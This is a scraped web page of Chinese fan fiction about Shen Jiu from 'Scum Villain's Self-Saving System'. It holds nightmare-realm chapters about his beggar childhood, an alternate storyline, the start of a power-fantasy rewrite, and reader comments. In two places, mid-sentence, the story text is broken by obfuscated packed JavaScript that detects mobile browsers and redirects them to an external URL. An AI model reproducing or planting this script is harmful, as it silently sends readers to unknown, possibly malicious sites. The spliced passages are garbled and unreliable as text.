“听说‘洛冰河’正是你容貌改变之后听信谗言,那如果你的容貌……后退或者说恢复,不知你们这神仙眷侣……日子会何等精彩?” “……” 沈垣算是看出来了。沈九压根不是真心回来干活的,他就是纯纯为难人。 他明明知道应该做出什么样的决断,才能够让事情变得更好一些,可他就是不愿。他也明明知道要如何去获取其他人对他的关心也好,在乎也罢,可他就是故作冷漠的将所有人推开。 他分明知道应该怎么做,只是他从来不愿意也不想去那么做。 即便是一切重来,即便是给他预知或重生的机缘,不会改变的东西,就是不会改变。这些玩意儿是写在他的逻辑底层里面,是刻在骨子里的,是不可能改变的。 而现在,沈九露面,也只是…… 想羞辱他们罢了。 想通了这些,沈垣也不再执着于‘与沈九和平共处’,反而耸了耸肩膀,有些无所谓:“那你想怎么样?” 对于这种利益至上的人,不要期待着能用感情去与他纠缠。既然口舌上讨不到便宜,还不如问一下他想做什么,看能不能有真正的利益交换。 沈九满意的看沈垣一眼,对于并不是很蠢的人来说,他倒也愿意指点一下: “天道宠儿一开始只是憧憬,你若真想让他为你所用,就该远远的与他保持距离,将它当做你手中的刀刃与道具。” “可惜你为了得到他的好感,过于的亲近。在失去距离隔阂与阶级的镇压之后,你与他之间的关系不再是上位者与下位者,不再是师徒。” “人心本就是贪婪的。你既然能给他一分爱,为什么不能给他十分?你既然能将视线投入到其他人身上,为什么不能投入到他身上?你既然甘愿为了其他人舍弃一些东西,为什么不能为了他舍弃所有?” “可笑一介金丹大能,却为了自己的徒弟自曝于情;一介正道峰主,竟为了魔族去魔界生存;明明手握如此多的王炸,却本末倒置的将一切奉上,寄希望于对方对你的怜悯。” “实在是,愚不可及。” 沈垣:“……” 他跟他能一样吗?他是为了获得冰妹诚挚的爱,从来不是为了利用! 沈九满心都是利用与利益交换,怎么可能跟他一样,体会到世间真情? 沈九:“说你蠢你还不信。”笑:“他若真对你好,又怎会在乎皮囊?他若将你当成同等阶段的战友,又岂会将你的一切全部斩断?” “无非是将你视为养在手心的金丝雀,能够自由走动的禁脔罢了。” “你若真心觉得爱情比天都大,又何必遣系统来寻我?而你时时刻刻守着‘沈清秋’这个躯体不敢逾矩,真正的将人设刻到自己的骨子里,丝毫不敢露出半分真性情,不早就证明你在害怕?” “承认吧,力量不同的人是不可能携手的。” “你若真的爱他。”沈九从沈垣腰间抽出修雅:“那就等我将人打的只剩一丝气的时候,去封印中陪他吧。” 沈垣:“我……” 沈九:“不必说。” 尚清华:“沈九!” 沈九:“造物主大人,你好好的待着,沈九灭杀天魔后,我们再好好讨论讨论关于〈结局〉的事情。” 沈垣:“你就算杀死了冰妹,可还有另一个世界的冰哥啊!天魔之血不死不灭,你要怎么办?” 沈九(露出极其潇洒的背影):“那就两个都杀喽。” ——碎碎念—— 果不其然的,歪到最后都是杀杀杀。 跟大佬的原文差了十万八千里。 啊哈哈哈哈……像我这种脑子简单的人,果然只适合写打架。 怎么说呢,我最后能写出来的全是te,所以他实在是太现实了,太平常了,太没有波浪起伏了 没人看也是正常的,没事,我们自娱自乐就好 哎,说起来这个我就想起来〈锁清秋〉,九退到极限,冰依旧嫌不够……想想就心肝疼 确实,我都觉得九还不如死了的痛快,实在是太憋屈了。 是的是的,有一些我能接受,但是有一些嗯…… 系统有点过于不要脸了 哇哈哈哈哈,这就是为啥我看不下去【九+系统】的组合,总觉得这些系统不靠谱的样子 可是飞机你又凭什么要小九帮你呢... 沈垣真是...一手好牌打的稀烂 我看到有个九重生自救,但是没有系统的文,可惜好久没更新了 《人渣反派自救,没有系统》[ 种都比较少,磕cp的多。九哥独美有点难 知道就好,如果不是为了化神的机缘压根不会回 好爽,都杀了 哇哈哈哈哈,携手是不可能携手的,全都得这(死~~ 连拿带枪吃着香骂的狠沈垣你也是好善哟 端起碗吃饭,放下碗……哎~ 说得对,九为难占了自己东西的人,天经地义 赞同既得利益者,没有诉苦的立场 九:实力要自己争取,宁死不降;沈垣:我不能落得原装货下场,要抱冰哥大腿! 被拉回来干活本来就不情不愿的不过两把嘴瘾心里难受 干活是件很让人不开心的事情,所以一定要骂够本才行 毕竟就算老板给你工资你上班肯定也是情不愿的。 上班归上班,工资归工资,不给工钱谁干活啊 好爽好爽!大大会有后续么[ 额,我一开始就是看到大佬的文章脑洞,如果真写后续,就是九举剑对冰妹、冰哥—— 大概得打架,会有人看吗 会!!! ,那我试试吧。。感觉冰哥冰妹,让我想想怎么才能弄死他们 其实磕不太起来渣反九的cp,因为这本书里就没几个好东西,只能说所有人都是伪善的加害者 但无cp的文好难找啊 正常,因为现在的无cp除了不能有爱情,甚至不能有友情,不能有亲情。太难了。其实我写的沈九线一直都是无cp,因为我压根没办法想象九怎么去爱人。呃,这也是为什么,明明我一直觉得九是大男主,但我能坚定的磕冰九、六九,就是磕不了九冰、九柳的原因。 对。这几个cp,永远是读者比人物更恋爱脑 从狂傲与渣反的相对比来说,确实如此 是你们一次又一次的迫害他,却还要说他没傲骨 就想看小九当面骂某个废物,爽了爽了 你哪来的脸如果没有小九的一切,你凭什么打出一个所谓的he 那你一开始是为了啥对冰妹好的,你有什么资格提爱,有什么资格提真心 是啊是啊,这一点真是没得洗 是啊,明明双方从一开始就不同等的 一直死扛没疯没退缩没低头,还不算傲骨吗。哎 那咋了?我们想让他为难我们还不行呢,这等好事让你占了还瞎叨叨,切。 不愧是小九,就是这样的牛逼! 理智>沈九> 68.片段 踏破梦魇之地 (片段)梦魇 1.乞丐的嫉妒 沈清秋很少直接躺于榻上入眠,单纯的睡觉太奢侈、太浪费时间了。除非遭遇那单靠清心咒都无法化解之事,待处理完杂务后,他才会下山去寻美女姐姐,以得片刻温存。 平日里,他均是以打坐代替睡眠。循环运转的灵力,不但能让他的身躯与精神得以充分休憩,还可借此修炼之机,提升自身实力。上天从不辜负努力之人,他坚信,自己每增添一分修炼之时,皆会化作更为强大的实力。 然而,今天却有些不同寻常。沈清秋经历了一整天的奔波劳累,身心疲惫不堪。同时,某种无法抑制的烦躁从心底深处如同疯狂生长的野草般蔓延而出,令他整个人暴躁难安。 他尝试着用沐浴熏香、念诵清心咒来平静内心,但这些方法都无法让他感觉放松,整个人依旧心烦意乱,精神不振。 无奈,沈清秋只好躺在床上,平心静气,希望通过睡眠来恢复已经消耗殆尽的精力——不是他不想下山,实在是山上的事情还没有完成,万一他前脚刚走,山上就乱了起来,被人偷了家,还有什么可玩的? 他阖上双眸,努力放松身躯与思绪,试图将一切杂念抛诸脑后。渐渐地,他的呼吸变得平稳,思绪也缓缓平静下来。 随着时间的推移,沈清秋进入了梦乡。在梦中,他仿佛置身于一片宁静:没有凡尘的嘈杂,没有俗世的叨扰,没有人来人往的交接,没有……生物的生活痕迹。 —— 沈清秋猛然间睁眼,却发觉自己深陷迷雾之中,如墨水般黏稠厚重的的雾气里,是看不清的人影幢幢。与他方才所见、杳无人烟的孤寂,形成鲜明的对比。 “打死他!上啊!”“打头!打傻了就不会抢东西了!” 尖锐地呼喊声在空气中回荡,随着黑雾的一点点散开,沈清秋看到一群衣衫褴褛的孩童如叠罗汉般趴在地上,手上动作不停、疯狂争抢着什么。 孩童的打架手法很单一,就是简单的握起拳头向下砸去。没有任何技巧、全凭本能进行的动作,却由于人数众多,对最下方及周围之人,造成极为庞大的杀伤力。 众人混战之际,就算是打到了自己人,也无人能抽出空闲来看是谁打的自己。况且,都打群架了,谁又会在乎自己被打了多少下呢?只要自己不是最惨的那个,那这个群架打的就有意义,他就是胜利者。 打群架便是如此。人数占优,所以不需要任何技巧便能碾压对方。体质占优,所以挥拳比别人快,力气也比别人大,能够以最短的时间制服对方。 至于体力与重量——一群乞儿,都是吃不饱饭的存在,怎么会养出胖子呢?往往那种真正的胖子,反而挨打最多。毕竟,谁让你一看就很抗揍呢。 正常来说,人数占优的那一方一定会将人数较少的那方打的屁滚尿流。 但可惜的是,这群家伙,最后竟被人逆风翻盘。而他们围殴的,也只有一人。 当真是一人战群雄。打赢了。 可惜,胜出者并无奖励,也无荣誉。 而他今天好不容易的来的拨浪鼓,在众人的争抢中,被踩成了看不出模样的碎屑。至于本身的木头支架,则被扔到火堆里,提供着微不足道的火光。 身为乞丐,莫说有自己的屋子,有时连自己的安睡之地都没有。乞讨得来的吃食一定要赶紧吃完,乞讨得来的银票一定要全额上交,就连难得一次获赠的玩具,都会被众人争抢,然后被毁掉。 自己都养不活的人,又哪有什么……属于自己的东西? 沈清秋冷眼看着少年沈九被打,冷眼看着他反杀众人,冷眼看着他捏着手里的破鼓皮,郑重清洗干净叠好、放到心口去暖干。 却在第二天早上发现被偷。 沈清秋的眼里没有动容、没有怜悯,更没有同情。唯有凝结成冰的冷漠与平淡,像是台下的看官,看着台上戏子所演绎的悲欢离合,连评价都不曾给予。 (正如渣作者的小说,诸位看官们连个评价都不愿意给,实在令人伤心) 一张破鼓皮,谁会需要呢? 偷一张破鼓皮,有什么意义呢? 没人需要,没有意义。 但他就是被偷了。 不能填饱肚子,不能增添温度,亦没办法卖掉当钱。 如此无用之物,依旧,不能让人“独有”。 哪有什么人之初、性本善。人出生就是恶的,天生就知道要向母体夺取养分、以养大自身;天然就懂得要排挤自己的兄弟、保有更多的资源。 沈九一开始并不是无父无母。 只是他太弱小了。 家里又太穷了。 天灾年间,他大哥尚可以摇摇晃晃的去伺候田地,努力做饭。而年幼的他不能。甚至说,他还因虚弱的身体、脆弱的肠胃,需要大人专门将粥水熬煮的时间长一些,软烂一些。 若是平日里还好,大伙有闲杂功夫,家里也尚有余粮。 可天有不测风云,天灾之下,大家连柴火都捡不齐,火都生不起来。更有甚者,连米面都需要签字卖(身)与大户人家,才能‘赊’些粮食以求生存。 沈九,因那极为虚弱的身躯和那张堪堪展现风华的脸,被卖给了人贩子。换得一家人,又能坚持一段时间的米粮。 易子而食。人性的脆弱,在天的意志之下,渺小的连蝼蚁都不如。 时代的流转里,哪怕是一粒沙土、一抹尘埃,也是常人所不能忍受的悲痛和苦难。 沈九也曾是被人捧在手心,花心思、下功夫精养的孩子。可惜天灾无情,没能力应对变故的人,自然也无法抵抗风险带来的冲击。 沈九不怨恨他们。他记得‘家人’曾经对自己的温暖,也记得那段几乎要被饿死的时光。被迫卖掉自己的孩子,如何不是一种难以言说的痛苦? 可,身为被抛弃的人。 他也没办法让自己原谅,接着在长大之后,按照曾经的记忆,去寻当初的那个家。 他们对他的恩情,在将沈九卖掉,换取能活下去的钱粮时,就已断掉了。沈九何尝不算是用命抵给了他们,换取其他人活下去的机会呢。 更何况,时光荏苒、光阴如梭,这么多年过去了,谁又知晓他们当时到底有没有活下来?毕竟。人心的险恶,从来,都是不可直视的深渊。 就像是一个平平无奇的拨浪鼓,在乞丐的眼中,也是极为令人嫉妒、必须要毁掉的东西。 就算是东西已被撕毁的不成样子,只要有人‘精细清洗与保存’,这个被保存的东西,就是‘不能存在之物’。 若有人问原因? 这能有什么原因。人有而我没有的嫉妒,你拥有而我没有的厌恶,大家都深陷泥潭你却能爬出的不满,你想丢下我们一个人逃跑的愤恨。 人性之恶,沈九从来不曾小看。 —————————————— 梦魇2 有能力挣脱的人,不需要人‘拉’ 许是沈清秋的漠视与‘冷眼旁观’太过明显,暗处的梦魇和洛冰河有点急躁—— 梦魇的核心就是通过映射某人最不愿面对的过往,吸引入梦人的互动,接着令人一步步的深陷,一层层的禁锢。 毕竟。谁能拒绝,用现在的知识与能力,去改变曾经无能为力的过往去修正曾经犯下的错误与‘不完美’,以求得心理安慰呢。 那么多的人,心里有遗憾。想要弥补曾经的脆弱不堪,又难以抵抗世俗压力。那些不得不进行的退步、不得已的逃避、扛不过只能接受的无奈—— 梦魇会通过梦境,让人情景重现。 最重要的是,对拥有现在能力的人来说,拉一把曾经的自己,轻而易举。 这是何等的诱惑? 面对不公,你能用现在的强势力量去抵抗; 面对他人的不满与愤恨,你能用现在的知识储备去反驳; 面对曾经压的你无法呼吸的强敌,你能以现在的修为等级轻松反杀对方。 这样的梦境。 对于弱小者来说。是难以挣脱的过往,是让人深陷的泥潭,是抗不过的梦魇。 对于强大者来说。是以现在之姿,随时能横压当世、打压强敌、再次获得无与伦比的爽度和能更快解决问题舒畅。这是一个一切都是‘简单模式’的破解版游戏。 心智软弱者逃不出,心高气傲者不愿醒——一个是挣脱不掉身上越发沉重的淤泥,一个是难以丢弃如神明般掌握生死的快意。 这样的梦境,足以让无数人沉迷梦魇,无法自拔。 ———— 沈清秋有些百无聊赖的看着幼年沈九的举动。 看着他对过往行人哭爹喊娘的吸引他们注意。以此尽可能的抓取目光,赌他们可能会有的‘同情’。 看着他对过往官差小心翼翼的躲避与暗骂。以灵活的身躯和矫健的步伐,与那些前来‘清道’和仗势欺人的走狗们斗智斗勇。 看着他与其他乞丐一次又一次的发生矛盾,接着开启群殴,被打得遍体鳞伤不说,还被当成‘刺头’不得吃饭。 以及。看着那个从一开始会谨慎细致的保存喜爱之物,到次日醒来总会得到一场空。他的表情从欣喜变得失落,从打架变得无力,最后竟,会自发将那些曾经喜爱的东西,亲自损毁。 沈清秋看着自己曾走过的路,眼神无波无澜。 童年沈九。身躯一点点的发育完全,性情一天天的孤僻。在一帮聚众取暖的孩童中,他是那个融不进去集体的野兽。 慢慢的。为了生存下去。他学会了用花言巧语去讨好路人,用嬉笑打骂去应对找茬,用不怕死的狠劲去对抗敢跟他争抢东西的‘同伴’。 武力和记忆,是他唯一能仰仗的东西。用强硬的拳头去守护自己,用记忆去剖析所有遇见的人、遭遇的事。在那些睡不着的夜里,仰望天上的孤月,想着要如何离开。 他并不是什么太幸运的人,也不是什么身强体壮之人。刚到乞丐窝的时候,甚至因虚弱的身体、糟糕的肠胃差点饿死。 身为命最不值钱的乞丐,难不成还能指望这群人中谁有‘善心’这种东西? 物竞天择,适者生存,活不下来的,没资格浪费资源。 想活下来,就要忍受糟糕的环境、极为稀少的食物、被层层争夺后仅剩的一丢丢资源。 在他成为有编号的‘小九’之前,不知已经死了多少乞丐。 别以为‘沈九’不算名字。那些死掉的人,名字即使再好听、再优美、再蕴含深意。 人都死了,有什么用? 能在乞丐窝里,从豆丁成长为四肢健全、头脑清晰,躲过一次又一次的天灾人祸,成功长大到十岁的,才能以序号命名。 毕竟——那些不知从何而来的豆丁们,只配被称为“那个谁!”。 ———— 这一幕幕上演的场景,沈清秋有时瞄一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15430635|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,有时干脆闭眼打坐。 沈清秋看着眼前跪在地上努力挣扎着生长的沈九,眼里无波无澜,甚至还有些冰冷的寒意。 他不理解自己为什么会突然梦到曾经的过往。 也想不明白一开始为什么会突然梦到万籁俱寂、没有生物痕迹的荒原。 以及那个看不清具体模样,却无端压抑的人心神难安,充满了不祥气息的黑雾。 修真界之人,极少做梦。 而这般不讲逻辑、肆意变换、仿佛在刻意引诱人‘踏入其中’、‘参与其中’的梦境。 就像是无意间踩入了什么困境、遇上幻境虚影似的。 但可惜的是,沈清秋是个极为谨慎的人。他不仅自己不曾去‘接触’,甚至连将灵力丢过去试探,剑意劈过去实验都不曾。 即便这个梦境摆明了是要对自己出手,他依旧,不想如对方所愿的,入局。 想到这里,沈清秋略略回想了一下,总觉得有些东西被自己忽略了。 那个散发气息的魔物,至今还没找到。那场令数个弟子陷入梦魇的证词中,甚至有位弟子还声称‘见到一位老者’。 但奇怪的是,所有陷入梦境的都是外门弟子,可那些外门弟子排列起来,却又没有明确的地区导向。 甚至说,有些弟子明明不在外门弟子住处,却也陷入了昏迷。而与他处于同一个地区的内门弟子,却毫无困意。 难道陷入昏迷的原因不是地区,而是另一种介质? 那么。究竟是一种什么样的介质,连他都能‘陷入’? (片段)能跨过去的,从来不是困住你的梦魇 越是底层的猎物,生存本领就越强。毕竟比他强大的太多了,稍有不慎,自己的性命就成了强者的粪便。 而想要存活下来,首先是要躲避强敌。接着便是被猎人抓捕的时候,尽可能展示自己的柔弱无害——接着,趁敌人掉以轻心的时候,即刻逃亡。 ———— 沈清秋平日里很少睡觉,都是以打坐代替睡眠,尽可能不浪费修炼时间。 只是,今日实在是太过奔波,又心神莫名不宁,打坐与清心咒都不能缓解这从心底深处蔓延而出的焦躁。只好躺在床上,平心静气,靠睡眠补充已消耗殆尽的精力。 —— 猛然间睁眼,却发觉深陷迷雾,如墨水般黏稠厚重的的雾气里,是看不清的人影幢幢。 他看着眼前浮现的几场悲欢离合,心中却只有漠然。 幼年沈九。因贫困而缺衣少食;因众人争抢而损失喜好之物;因相伴之人是四处留情而不得偏爱;因身世不由己而失去护佑自己的大姐姐;因那张脸被奸佞惦记…… 少年沈九。因一时不慎使用仙术而暴露修炼能力,为自己招来祸端;因言辞直率不懂迂回,暴露身后无人而被捉拿打压;因性格倔强不肯低头,沦为被打骂的靶子;因面貌和身姿获掌权人之妹的青睐,却又因此遭到掌权人狠狠责打…… 青年沈九。因资质有缺而修行缓慢;因半路出家遭人非议;因过于争狠好强不擅与人交流而成为独狼;哪怕是最后成为首席,亦无法服众。 这些遭遇,单拎其一,都是人生劫难。 是生命不可承受之重。 但那又如何呢? 走出来,就是胜利者。活下来,就是赢家。 他在幼年以不要命的狠厉打败了所有敢跟他抢东西的人;在少年时以孤注一掷的孤勇火烧了困住自己的秋府;青年时凭艰辛努力成功坐上一峰之主。 他赢了。过往种种,重要吗? 只要最后的结果是好的,受到的所有挫折,也只是偶然提起的谈笑罢了。 那些曾经风餐露宿、不知明日路在何方的逃亡江湖生涯;那些跪在路边痛哭讨笑、将尊严扔在脚下的乞丐生涯;那些被人辱骂群殴的弟子生涯。 皆是成功路上的些许坎坷罢了。 其他的,都是浮云。 ———— 沈清秋没有心魔。 或者说,他的心魔,是不够强。 这是修真界的通病,也是所有世界的铁律。 要么自身够强,无人能敌;要么身后够硬,无人敢惹。 所以他才会那么讨厌柳清歌。 也可以说,羡慕。 那样一个出身名门、天赋异禀、又刻苦钻研的天才,谁能不羡慕呢。谁能不想成为他呢? 即使他可能为了家族也背负了许多;即使他可能为了修炼付出过无数血汗;即使他的生活可能并没有看起来那么完美。 但……谁能不向往? 那是苍穹山的武痴,是修真界的第一人,是正道魁首,是世界上——最有资格冲击元婴之境的桎梏,跨越修为枷锁的人。 沈清秋不知道如柳清歌这种天之骄子,能有什么心魔。但就目前的状况而言,他陷入的这个梦魇,困不住他。 过往的艰难险阻,他已跨过。 那些已经被他打败的敌人,都是脚下的枯骨,磨砺的垫脚石。是不需要记住的过往云烟。 而未来—— 若他真的有跨不过的深坑,咬牙坚持之后…… 谁能断言他一定寻不到可突破的点,从而绝地反击,一举反杀? ———评论——— 不过些许风霜罢了…… —————— 成功之后,那些挫折,不值一提(帅到爆炸) 69.沈九X冰妹 当他舍弃自己,就能救世,是否要站出来 那是一种,默默无闻的,力量不足而抵抗不了、却又满含期待的——恳求。 他们寂静无声,但却好像有着无数人在对着他述说: “只要你过去,我们都能获救。” “只要你点个头,大家都不需要流血。” “求求你,你只需要走过去就够了。” “拜托你,我不想继续打下去了。” “你为什么不去‘和亲’,为什么不同意条件,为什么不奉献自己?!” 如此。真切,渴望,痛苦,期待。 对,没错,他们在道德绑架。可一个世界的人,都在绑架你。一个人的重量,与整个世界相比,太轻了。 好人,就活该被枪指。 帮过别人的人,就该继续帮忙。 升米恩,斗米仇。当你付出过第一次的时候,其他人……只会认为你能力很强,足够带他走出第二次困境。而这第二次、第三次困境,你凭什么要离开? 你帮助他的时候,就已将他们拉入棋局。本该死去的无能者,却获得了存活的机会。而前期都过不去的菜鸡,走到了步步杀机的后期,无人庇护,即刻会死。 所以他们紧紧拉住你的衣角,紧紧捆住你的视线,紧紧贴近你的后背——紧紧的,给你一刀。 —————— 只要牺牲他一人,世界就不会崩塌。只要他“安抚”好冰妹,世界线就会如同《渣反》一样停止征战。 可。 从没有人会觉得,也不会有人赞同,那个从不好南风的人,不该“爱上”冰妹。 为了世界和平,他必须“爱”冰妹;甚至必须“爱”随时可能会卷土重来、突然清醒的冰哥。 所有人都觉得冰妹的危险程度比冰哥低,只要冰哥这个“人格”不出现,“沈清秋”就能救世,就能拥有“唯一”的爱。这是多么美好的结局啊——只要“沈清秋爱上、接受冰妹”,冰妹会回馈给他更厚重、浓烈的爱。 沈清秋,必须“爱”冰妹。 这一瞬间,沈九感受到极致的恐慌。他的感情,竟然也能被放到天平上,去充当救世的筹码。 信念瞬间崩塌,他所坚守的正义与反抗,只会造成更大的灭亡。而退步,反而会带来和平? —————— 沈九深深的吸口气,露出一个平和的微笑:“我记得。你曾经代表清静峰赢过魔族长老。” 冰妹:“您真的记住我了吗?” 沈九:“是的。你还因此进入内门,凭能力出彩。” 沈九强迫自己勾起嘴角:“魔族又一次卷土重来,我需要你的力量。” 冰妹:“您……需要我……?” 沈九:“修真界需要你。” —— 沈九握紧手,侧身从冰妹身边经过,出门,一路朝后山走去。手扶住一根竹子,抬头看向太阳。 阳光刺眼,微风带来春日的微醺。 没什么做不到的,只是有点从心底涌出来的恶心而已。 既然“温和”能用最小的代价,创造和平。只是一个“笑”而已,没什么,的。 —————— 原来,他一直不想恢复的记忆,才是真正的潜意识,想让他知道的事情。 多可笑啊,他明明已经窥见了天道的不平,也明白了自己的‘天命’。却在大战之后,身体伤痕累累,心态也发生了变化。又在得知另一条‘完美结局’的时候,心态软弱了、退让了,甚至自主陷入沉睡、妄图用失忆来逃避。 有什么用呢?逃避,从来都没办法解决问题。反而因失了先机与记忆,在无知无觉的情况下被天道发现,继而指引冰妹找到‘失忆的、逃避的、妄图混入人间的自己’。 一步错步步错。退让第一步,天道就会踩着这个机会,将人送到他眼前,甚至还‘弥补’了天道宠儿缺失的师徒情,让天道宠儿的后路走得更稳当。 更甚者,天道宠儿的眼神与另一条路上,连‘沈清秋’,都是赠与天道宠儿的礼物——一个身家清白、相貌优越、关系简单、能力突出的,伴侣。 ———— 强权之下…… 不得不跪 哎…… 不跪,其他人就死。 尤其是,已经死了好多人。 民众:我们跟你过来是讨公道的,你却带我们要死吗?跪啊跪啊!只要你跪了,我们都能活! boss:你这样的人,活着比死了痛苦一百遍! (我好bt,居然觉得这种剧情好带感……- —————————————————— —————————————————— 沈九X冰妹,走渣反线 九:这就是被原主坑了的主角?看起来倒是人模人样。 系统:是啊是啊,原主嫉妒对方的天资,老是有事没事打压对方,宿主你可不能学原主啊。 九:此子看起来可怜,眼眸深处却连仇恨都藏不住,怕是将原主做的祸事全堆积于我身上,我若放任于他,岂不是放虎归山? 系统:那……宿主你变化大一些,让男主‘区分开来’? 九:若是性格大变,我当如何在此世生存?被当成夺舍的孤魂野鬼? 系统:那……宿主觉得该怎么办? 九:一剑杀之,永绝后患。 系统:……宿主!男主是杀不死的!你赶紧放弃这个想法啊! ———— 九:系统,这个情况不对。 系统:怎么个不正常法? 九:缘何主角与嘤嘤衣衫整齐,唯我被剥去? 系统:宿主啊,对方起码给你留个一个底裤,要不然你就要担心一下你的贞洁还在不在了! 九:不患寡而患不均,这野物必然心有所想,指不定就准备用我点天灯。 系统:…… 魔物:沈仙师的皮囊顶过数个修真者。 九:果然是看中我的皮。 系统:宿主,想开点,起码他不惦记你的身子,要不然你还要考虑睡不睡。 九:这等野物,白给我都不睡。 魔物摸沈九肩膀。 九:很好,你可以死了!现在就要成灰的那种! 冰妹:师尊…… 九:给本尊把眼闭上,再敢看,眼珠子就别要了! ———— 莎:沈仙师果然如传闻中一般,相貌精致、身姿曼妙。 九:巧了,你们也如传闻中一样不要脸。 莎:仙师以大欺小,怕不是不太好?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15435838|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 九:那就让其他金丹过来战几场,怕你不成? 系统:宿主,你干什么非要1对n?好好搞个擂台赛一对一不好吗?! 九:因为本尊能将所有人打趴下。 系统:…… 所以让你避开柳清歌走火入魔,不让你进灵犀洞反而是错的吗? 系统艰难挽回剧情:宿主,那个主角要上场的……要不然…… 九:一堆金丹打架,让筑基上台?是嫌他死的不够快? 系统:…… 所以你怎么又该死的照顾弱小起来了! 冰妹:师尊,我来助你 九:滚远点,添乱的玩意 系统:算了算了,这剧情爱咋地咋地吧,反正‘洛冰河’参战了,至于结果如何无所谓吧 ———— 岳清源:清秋师弟压谁? 九:每人一百灵石(不偏不向)。 系统:主打一个雨露均沾? 九:滚犊子! 洛冰河崭露头角,其他人称赞‘严师出高徒’ 九:嗯。 魔族入侵,封印和防护罩立起来。 九:准备人手,进去救人。 洛冰河将众人护住,独身对拼。 系统:宿主,你看男主他多好啊,根正苗红、礼貌有担当 九:理当如此 洛冰河暴露额头纹印。 九:自古仙魔不两立,你是半魔? 冰妹:可是师尊,我从不曾犯下恶事。 九:怪不得(原主会喊他杂种) 冰妹:师尊,你说过‘未知全貌、不予置评’,我虽为半魔,却从不曾伤人犯事! 九:修真界留你不得,是自己滚下去,还是我送你下去? 冰妹:师尊定然要我前往魔界? 九:废话忒多!(一脚踹下) ———— 冰妹:师尊,好久不见。 九:看看幻花宫的人,又看回冰妹:你不该出现 冰妹:师尊这话令人好生伤心,弟子怎么不该回来? 九:既然道理畜牲听不懂,那就战一场,让本尊清理门户算了。 冰妹:弟子艰难爬出来,师尊却还是要杀我? 九:我已留你一条生路,是你偏要回来。 冰妹:那师尊觉得,仙魔两界,必要区分明确? 九:你欲如何? 冰妹:若是人、仙、魔再无区分,师尊可还觉得弟子不该出现? 九:竖子尔敢? 冰妹:是师尊逼我的……弟子只是…… 九:之前就不该心软,现在犯下大过,悔之晚矣 系统:所以宿主,你究竟觉得哪里出现了差错? 九:错在当时没有一剑杀了他 系统:你就不觉得洛冰河看起来很可怜吗?他一直在努力靠近你啊! 九:所以我当时留了他一命 系统:该死的,所以甭管是前世的‘沈清秋’还是被洗去记忆的‘沈九’,无论他遇见的是暗黑流冰哥还是偏执缺爱冰妹,最后的结果根本不可能改变吗? ——碎碎念—— 确实是想磕的…… 毕竟九哥X冰妹应该很有趣…… 但是这后续,莫名其妙的又走了双杀线? 70.(未完)当〈渣反〉以男频爽文改写 序.读者老爷们想看啥,作者能不知道? 不会追热度的作者都会饿死的~ ——正文—— 总所周知啊,现在的网文,那是一个赛一个的不能看。故而,当沈清竹好不容易找到一本合心意、准备全订的小说时,那叫一个‘见猎心喜’‘如痴如醉’。 只是…… 作者你给我滚出来挨打! 怎么走路都要踩宝、妹子见一个推一个就算了,一个刚入门的弟子还能瞬间得罪最高领导人,然后玩一出‘你追我打’的复仇虐恋戏码? 若是最高领导人是妹子就算了,毕竟萧炎和云韵珠玉在前,你这也勉强算是狗尾续貂,咋的还准备搞同?知不知道读者老爷是绝对要造反的啊! 你要是再敢写他们的‘感情线’,分分钟给你寄刀片,让你下架啊! 很好。虽然说人设前后有点矛盾,但这些不重要,满足读者老爷的需求才是赚钱之道嘛!身为一个臭码字,要知道自己的屁股坐那边,知道是谁给你砸的月票! 身为后宫文写手,没有条件也要创造条件、睡本该得不到的女人才是精髓啊!要不然大家平日里够压抑拘谨了,咋的看个小说还不让放松一下? 不过……如果这个‘沈清秋’是妹子的话……嗯,长相不错,身份又高,还有悲惨童年…… 活脱脱一个需要被人拯救的、外冷内热小姑娘啊!绝世师尊变柔情似水小姑娘,要是漏下了,那必定是要唉声载道的呀! 作者,你真不考虑写个‘女扮男装’的梗来?! 哪怕是机械降神也无所谓啊。满足读者老爷的癖好,将一众美人收入囊中,坐拥大好河山,才是爽文的爽点所在嘛~ —————————————————————— —————————————————————————— 前言:沈清秋,败在天道操控之下,你恨吗 “系统。” 沈清竹吐出嘴里的血沫,有些狼狈的躺着地上。 方才,是原主从他体内‘清醒’,控制、强压了整个战场? 那么。既然‘他’有这个能力,为何需要让他魂穿? “你实话告诉我,原主当初是怎么败的。若是隐瞒,就大家一起玩完。” “宿主……”电流断断续续的声音波动,很明显,方才的事情,令高阶层次的系统,都有些不稳定。 “滋……沈清秋……滋……天道……降格……压制……” 系统的声音很乱,嘈杂的轰鸣声和乱码对冲流出,让人听不清晰。 但仅仅几个字,已经足够说明一切。 物理降神。 小说世界中,最不该、最可耻的手段。 譬如斗二里,那个强行压迫,要求帝国王后退出战斗的……杀戮之神。 沈青竹闭了闭眼睛,压下胸口因‘得知真相’而急切鼓动的心脏和快速涌动的血流。 他看到的小说里,只讲述了‘洛冰河’如何走路捡宝般的升级开挂。 妹子,遇见了,就要收入怀中。敌人,弱的被一棍打死;强的等之后再刷。小弟,是无穷无尽且靠谱能干的;其他青年才俊,是用来对比打脸的。 至于被打倒的大小BOSS,则无人会关心。 真可惜。若非他穿越到‘沈清秋’身上,谁会关注一个敢给主角下绊子的反派呢。 沈清竹抓紧领口,压住快要跳出来的心肺,艰难的从地上爬起来,看着地上的一堆死尸残肢。 哪有什么温馨家园、兄友弟恭。 